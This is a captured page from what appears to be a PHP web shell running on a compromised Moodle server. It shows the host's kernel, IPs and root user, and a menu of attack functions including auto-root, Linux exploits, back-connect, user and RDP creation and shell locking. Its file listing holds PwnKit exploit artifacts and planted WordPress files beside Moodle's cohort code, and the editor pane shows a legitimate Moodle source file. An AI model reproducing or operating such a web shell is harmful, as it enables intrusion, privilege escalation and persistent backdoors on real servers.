Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
cohort /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.htaccess
197
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
assign.php
5.29
KB
-rwxrwxrwx
edit.php
6.95
KB
-rwxrwxrwx
edit_form.php
4.57
KB
-rwxrwxrwx
externallib.php
32.58
KB
-rwxrwxrwx
index.php
8.49
KB
-rwxrwxrwx
lib.php
22.51
KB
-rwxrwxrwx
locallib.php
4.97
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
upgrade.txt
620
B
-rwxrwxrwx
upload.php
2.83
KB
-rwxrwxrwx
upload_form.php
22.6
KB
-rwxrwxrwx
wp-blog-header.php
2.74
KB
-r--r--r--
wp-cron.php
2.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : assign.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Cohort related management functions, this file needs to be included manually. * * @package core_cohort * @copyright 2010 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require('../config.php'); require_once($CFG->dirroot.'/cohort/locallib.php'); $id = required_param('id', PARAM_INT); $returnurl = optional_param('returnurl', '', PARAM_LOCALURL); require_login(); $cohort = $DB->get_record('cohort', array('id'=>$id), '*', MUST_EXIST); $context = context::instance_by_id($cohort->contextid, MUST_EXIST); require_capability('moodle/cohort:assign', $context); $PAGE->set_context($context); $PAGE->set_url('/cohort/assign.php', array('id'=>$id)); $PAGE->set_pagelayout('admin'); if ($returnurl) { $returnurl = new moodle_url($returnurl); } else { $returnurl = new moodle_url('/cohort/index.php', array('contextid' => $cohort->contextid)); } if (!empty($cohort->component)) { // We can not manually edit cohorts that were created by external systems, sorry. redirect($returnurl); } if (optional_param('cancel', false, PARAM_BOOL)) { redirect($returnurl); } if ($context->contextlevel == CONTEXT_COURSECAT) { $category = $DB->get_record('course_categories', array('id'=>$context->instanceid), '*', MUST_EXIST); navigation_node::override_active_url(new moodle_url('/cohort/index.php', array('contextid'=>$cohort->contextid))); } else { navigation_node::override_active_url(new moodle_url('/cohort/index.php', array())); } $PAGE->navbar->add(get_string('assign', 'cohort')); $PAGE->set_title(get_string('assigncohorts', 'cohort')); $PAGE->set_heading($COURSE->fullname); echo $OUTPUT->header(); echo $OUTPUT->heading(get_string('assignto', 'cohort', format_string($cohort->name))); echo $OUTPUT->notification(get_string('removeuserwarning', 'core_cohort')); // Get the user_selector we will need. $potentialuserselector = new cohort_candidate_selector('addselect', array('cohortid'=>$cohort->id, 'accesscontext'=>$context)); $existinguserselector = new cohort_existing_selector('removeselect', array('cohortid'=>$cohort->id, 'accesscontext'=>$context)); // Process incoming user assignments to the cohort if (optional_param('add', false, PARAM_BOOL) && confirm_sesskey()) { $userstoassign = $potentialuserselector->get_selected_users(); if (!empty($userstoassign)) { foreach ($userstoassign as $adduser) { cohort_add_member($cohort->id, $adduser->id); } $potentialuserselector->invalidate_selected_users(); $existinguserselector->invalidate_selected_users(); } } // Process removing user assignments to the cohort if (optional_param('remove', false, PARAM_BOOL) && confirm_sesskey()) { $userstoremove = $existinguserselector->get_selected_users(); if (!empty($userstoremove)) { foreach ($userstoremove as $removeuser) { cohort_remove_member($cohort->id, $removeuser->id); } $potentialuserselector->invalidate_selected_users(); $existinguserselector->invalidate_selected_users(); } } // Print the form. ?> <form id="assignform" method="post" action="<?php echo $PAGE->url ?>"><div> <input type="hidden" name="sesskey" value="<?php echo sesskey() ?>" /> <input type="hidden" name="returnurl" value="<?php echo $returnurl->out_as_local_url() ?>" /> <table summary="" class="generaltable generalbox boxaligncenter" cellspacing="0"> <tr> <td id="existingcell"> <p><label for="removeselect"><?php print_string('currentusers', 'cohort'); ?></label></p> <?php $existinguserselector->display() ?> </td> <td id="buttonscell"> <div id="addcontrols"> <input class="btn btn-secondary" name="add" id="add" type="submit" value="<?php echo $OUTPUT->larrow() . ' ' . s(get_string('add')); ?>" title="<?php p(get_string('add')); ?>" /><br /> </div> <div id="removecontrols"> <input class="btn btn-secondary" name="remove" id="remove" type="submit" value="<?php echo s(get_string('remove')) . ' ' . $OUTPUT->rarrow(); ?>" title="<?php p(get_string('remove')); ?>" /> </div> </td> <td id="potentialcell"> <p><label for="addselect"><?php print_string('potusers', 'cohort'); ?></label></p> <?php $potentialuserselector->display() ?> </td> </tr> <tr><td colspan="3" id='backcell'> <input class="btn btn-secondary" type="submit" name="cancel" value="<?php p(get_string('backtocohorts', 'cohort')); ?>" /> </td></tr> </table> </div></form> <?php echo $OUTPUT->footer();
Close